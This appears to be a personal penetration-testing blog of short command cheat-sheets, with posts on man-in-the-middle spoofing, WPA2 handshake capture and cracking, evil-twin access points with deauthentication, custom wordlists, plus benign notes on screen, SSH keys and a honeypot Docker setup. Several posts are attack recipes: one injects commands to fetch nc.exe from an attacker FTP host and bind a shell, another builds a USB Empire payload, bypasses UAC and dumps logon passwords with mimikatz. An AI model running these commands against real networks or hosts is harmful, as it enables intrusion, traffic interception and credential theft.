MiTM

Posted on 14th May 2017 by caj.abrahamsson@gmail.com

MiTMf

Enable IP forwarding

# echo 1 > proc/sys/net/ipv4/ip_forward

Do arpspoof in separate window(Countermeasure)

# ./arpspoof -t VICTIM_IP VICTIM_IP

MiTMf

# ./mitmf - -spoof - -arp - -gateway 192.168.1.1 - -target  VICTIM_IP - -dns - -hsts -i wlan0

Bettercap

# bettercap --sniffer -G 192.168.1.1

Responder

# ./Responder.py -I wlan0

WPA2 + hashcat

Posted on 5th May 2017 by caj.abrahamsson@gmail.com

Write WPA2 handshake to pcap file

# airodump-ng -w /root/Desktop/wpa2handshake.cap -c 11 --bssid (bssid) wlan0mon

Use aircrack-ng to parse *.pcap file to hashcat hccap format

# aircrack-ng /root/Desktop/wpa2handshake.cap -J wpa2handshake_hashcat.hccap

You’re then prompted to choose network/SSID to parse.

Crack with hashcat. 10 chars bruteforce

# hashcat64.bin -a 3 -m 2500 -w 3 wpa2handshake_hashcat.hccap ?d?d?d?d?d?d?d?d?d?d -o WPAoutput.pot

Airbase-ng – Evil Twin

Posted on 24th April 2017 by caj.abrahamsson@gmail.com

Check wifi interface

iwconfig

Turn up the power

```
iwconfig wlan0 txpower 27
```

Start wifi interface

```
airmon-ng start wlan0
```

Capture data & choose target AP

```
airodump-ng wlan0mon
```

Create Fake AP

airbase-ng wlan0mon -c 11 -a 20:34:67:24:89:76  -e FakeAP -v -z 2

Create Evil Twin AP

airbase-ng -a [victim AP MAC] -c 11-Z 4 --essid VictimAP wlan0mon

Monitor Evil Twin AP

airodump-ng --bssid [victim AP MAC] wlan0mon --channel 11 -w /root/Desktop/rougueap

Deauthentication

aireplay-ng -0 2 -a [router bssid] -c [Client MAC address] wlan0mon

Aircrack

aircrack-ng -b [victim AP MAC] -w /usr/share/wordlists/rockyou.txt rougue-01.cap

Custom wordlists

Posted on 24th April 2017 by caj.abrahamsson@gmail.com

Using John

Download target site
- ```
# wget -r -l 2 www.<targetwebsite>.com
```

Produce uniq list

# grep -hr "" www.<targetwebsite>.com/ | tr '[:space:]' '\n' | sort | uniq > wordlist.lst

Clean list

# egrep -v '('\,'|'\;'|'\}'|'\{'|'\<'|'\>'|'\:'|'\='|'\"'|'\/'|'\/'|'\['|'\]')' wordlist.lst | sort -u > wordlist.clean.lst

Regenerate list w/ John

# john --wordlist=wordlist.clean.lst --rules --stdout | uniq > final.wordlist.lst

Using Crunch

Syntax: crunch <min> max<max> <characterset> -t <pattern> -o <output filename>

Letters and numbers mixed, minimum 8 max 8 letters

# crunch 8 8 -f /usr/share/rainbowcrack/charset.txt mixalpha -o /root/alphawordlist.lst

Password set to 10 char with the last four set to fixed & first six to be variable
- ```
# crunch 10 10 -t @@@@@@0728 -o /root/birthdaywordlist.lst
```

WPA2 + Aircrack-ng

Posted on 13th April 2017 by caj.abrahamsson@gmail.com

Show wifi interfaces
1. airmon-ng
2. airmon-ng check kill ( If wifi interface doesn’t show up correctly)
Start wifi interface
1. airmon-ng start wlan0
Scan for wifi networks
1. airodump-ng wlan0mon

Choose wifi to test

ctrl+c to stop scanning

# airodump-ng -c 11 --bssid [router bssid] -w /root/Desktop/wpa2handshake.cap mon0

# airodump-ng --ignore-negative-one --bssid [router bssid] -c 11 -w /root/Desktop/wpa2handshake.cap mon0 (Alternative method)

DeAuth clients on victim AP

# aireplay-ng -0 2 -a [router bssid] -c 40:A6:D9:1F:4A:D3(Client MAC address) mon0

Wait for handshake to be captured

Crack handshake

# aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.cap

Using Screen / Linux

Posted on 29th December 2016 by caj.abrahamsson@gmail.com

Create a session:

screen -S [sessionname]

Create a new interactive shell:

press ‘Ctrl-a + / Ctrl + c’

Switch betwwen screens:

press ‘Ctrl-a #’
- # = Number of screen(1,2,3 etc)

Switch to next screen:

press ‘Ctrl-a + / Ctrl + n’

Switch to previous screen:

press ‘Ctrl-a + / Ctrl + p’

Resume a session that you started in a different location:

screen -d -R [sessionname]

Create txt file remotely to get nc on victim host

Posted on 7th October 2016 by caj.abrahamsson@gmail.com

# str$(exec(“command.exe /c echo user [username] > ftp.txt”))
# str$(exec(“command.exe /c echo pass [password] >> ftp.txt”))
# str$(exec(“command.exe /c echo binary >> ftp.txt”))
# str$(exec(“command.exe /c echo get nc.exe >> ftp.txt”))
# str$(exec(“command.exe /c echo disconnect >> ftp.txt”))
# str$(exec(“command.exe /c echo quit >> ftp.txt”))
# str$(exec(“command.exe /c ftp -i -n -s:ftp.txt [IP OF ATTACKER PC”))
# str$(exec(“nc -l -p 9999 -e command.exe”))

Empire + Ducky

Posted on 11th August 2016 by caj.abrahamsson@gmail.com

1. Create listener 
1a. (Empire) > listeners
1b. (Empire: listeners) > set Name Listener01
1c. (Empire: listeners) > execute
1d. (Empire: listeners) > back

2. Create ducky payload
2a. (Empire) > agents
2b. (Empire: agents) > usestager ducky 
2c. (Empire: stager/ducky) > set listener Listener01
2d. (Empire: stager/ducky) > set Outfile /home/ducky.txt
2e. (Empire: stager/ducky) > generate

3. Put payload onto Ducky
3a. Generate inject.bin file from code in ducky.txt
at the Duck Toolkit site
3b. Copy inject.bin to Ducky
3c. Inject Ducky on victim

4. Try to extract login passwords from victim
4a. Wait for victim to connect back to Empire
4b. (Empire) > agents
4c. (Empire: agents) > list
4c. (Empire: agents) > interact FSDFSGAJ34FGH4
4d. (Empire: FSDFSGAJ34FGH4 ) > sysinfo
4e. (Empire: FSDFSGAJ34FGH4 ) > usemodule privesc/bypassuac
4f. (Empire: privesc/bypassuac ) > set Listener Listener01
4g. (Empire: privesc/bypassuac ) > run 
4h. (Empire: privesc/bypassuac ) > back * 2
4i. (Empire: agents) > list
4j. (Empire: agents) > interact DSGHFDFSGHJ243J
4k. (Empire: DSGHFDFSGHJ243J ) > usemodule credentials/
mimikatz/logonpasswords
4l. (Empire: credentials/mimikatz/logonpasswords ) > run

If succesful, logon passwords are now revealed in 
cleartext :)

SSH Authentication

Posted on 3rd April 2016 by caj.abrahamsson@gmail.com

Generate key pair
- Linux: # ssh-keygen -t rsa
- Putty: puttygen.exe

Load the private key in the PuTTY profile
Copy the public key to ~/.ssh/authorized_keys
Change permissions on folders
- chmod 700 ~/.ssh
- chmod 600 ~/.ssh/authorized_keys
Change owner on folder
- Chown $USER:$USER ~/.ssh -R
Verify that folders aren’t group/world writeable
- chmod go-w $HOME $HOME/.ssh $HOME/.ssh/authorized_keys
Edit sshd_config
- # nano /etc/ssd_config
- Make sure that a line says ‘AuthorizedKeysFile %h/.ssh/authorized_keys’
Restart SSH
- # service ssh restart

Docker & MHN

Posted on 29th March 2016 by caj.abrahamsson@gmail.com

Install docker

# apt-get install docker.io

Create & run Docker container for MHN

# docker run -p 10000:10000 -p 80:80 -p 3000:3000 -p 8089:8089 -p 8091:8091 --name mhnsrv --hostname=mhnsrv -t -i ubuntu:14.04 /bin/bash

Install & configure MHN server

#!/bin/bash

set -x

apt-get update 
apt-get upgrade -y 
apt-get install git wget gcc supervisor -y 
cd /opt/ 
git clone https://github.com/threatstream/mhn.git 
cd mhn

cat > /etc/supervisor/conf.d/mhntodocker.conf <<EOF
[program:mongod]
command=/usr/bin/mongod
stdout_logfile=/var/log/supervisor/%(program_name)s.log
stderr_logfile=/var/log/supervisor/%(program_name)s.log
autorestart=true
autostart=true

[program:nginx]
command=/usr/sbin/nginx
stdout_events_enabled=true
stderr_events_enabled=true
autostart=true
autorestart=true

EOF

mkdir -p /data/db /var/log/mhn /var/log/supervisor

supervisord &

#Starts the mongod service after installation
echo supervisorctl start mongod >> /opt/mhn/scripts/install_mongo.sh

./install.sh

supervisorctl restart all

MHN Configuration

Do you wish to run in Debug mode?: y/n n
Superuser email: fname.lname@mail.com
Superuser password:
Superuser password: (again):
Server base url [“http://1.2.3.4”]: 127.0.0.1
Honeymap url [“127.0.0.1:3000”]:
Mail server address [“localhost”]:
Mail server port [25]:
Use TLS for email?: y/n n
Use SSL for email?: y/n n
Mail server username [“”]:
Mail server password [“”]:
Mail default sender [“”]:
Path for log file [“/var/log/mhn/mhn.log”]:

Create & run a MHN sensor docker container

Container w/ all ports published

# docker run --publish-all=true --name mhnsensor --hostname=mhnsensor -t -i ubuntu:14.04.02 /bin/bash

Container w/ specific ports published

# docker run -p 21:21 -p 2222:22 -p 23:23 -p 25:25 -p 8080:80 -p 110:110 -p 135:135 -p 139:139 -p 443:443 -p 445:445 -p 1433:1433 -p 3306:3306 -p 3389:3389 -p 5060:5060 -p 5061:5061 -p 5900:5900 -p 8081:8081 --name mhnsensor --hostname=mhnsensor -t -i ubuntu:14.04 /bin/bash

Install additional apps

# apt install wget python

Commands

# docker ps : show docker processes

# docker logs [container_id]: show docker logs

# docker inspect [container_id]: show docker details

# docker stats [container_id]: show docker stats

# docker port [container_id]: show docker port

# docker attach mhn : interact with mhn docker container

# CTRL-p CTRL-q : detach from container & leave it running

# docker start [container_id] : start a container

# docker exec [container_id] supervisord & : start the mhn server container + supervisor app.

More info

Docker User guides

https://docs.docker.com/engine/userguide/

MiTMf

Enable IP forwarding

Do arpspoof in separate window(Countermeasure)

MiTMf

Bettercap

Responder

Write WPA2 handshake to pcap file

Use aircrack-ng to parse *.pcap file to hashcat hccap format

Crack with hashcat. 10 chars bruteforce

Check wifi interface

Turn up the power

Start wifi interface

Capture data & choose target AP

Create Fake AP

Create Evil Twin AP

Monitor Evil Twin AP

Deauthentication

Aircrack

Using John

Using Crunch

Create a session:

Create a new interactive shell:

Switch betwwen screens:

Switch to next screen:

Switch to previous screen:

Resume a session that you started in a different location:

Generate key pair

Load the private key in the PuTTY profile

Copy the public key to ~/.ssh/authorized_keys

Change permissions on folders

Change owner on folder

Verify that folders aren’t group/world writeable

Edit sshd_config

Restart SSH

Install docker

Create & run Docker container for MHN

Install & configure MHN server

MHN Configuration

Create & run a MHN sensor docker container

Container w/ all ports published

Container w/ specific ports published

Install additional apps

Commands

More info

Docker User guides

Copy the public key to `~/.ssh/authorized_keys`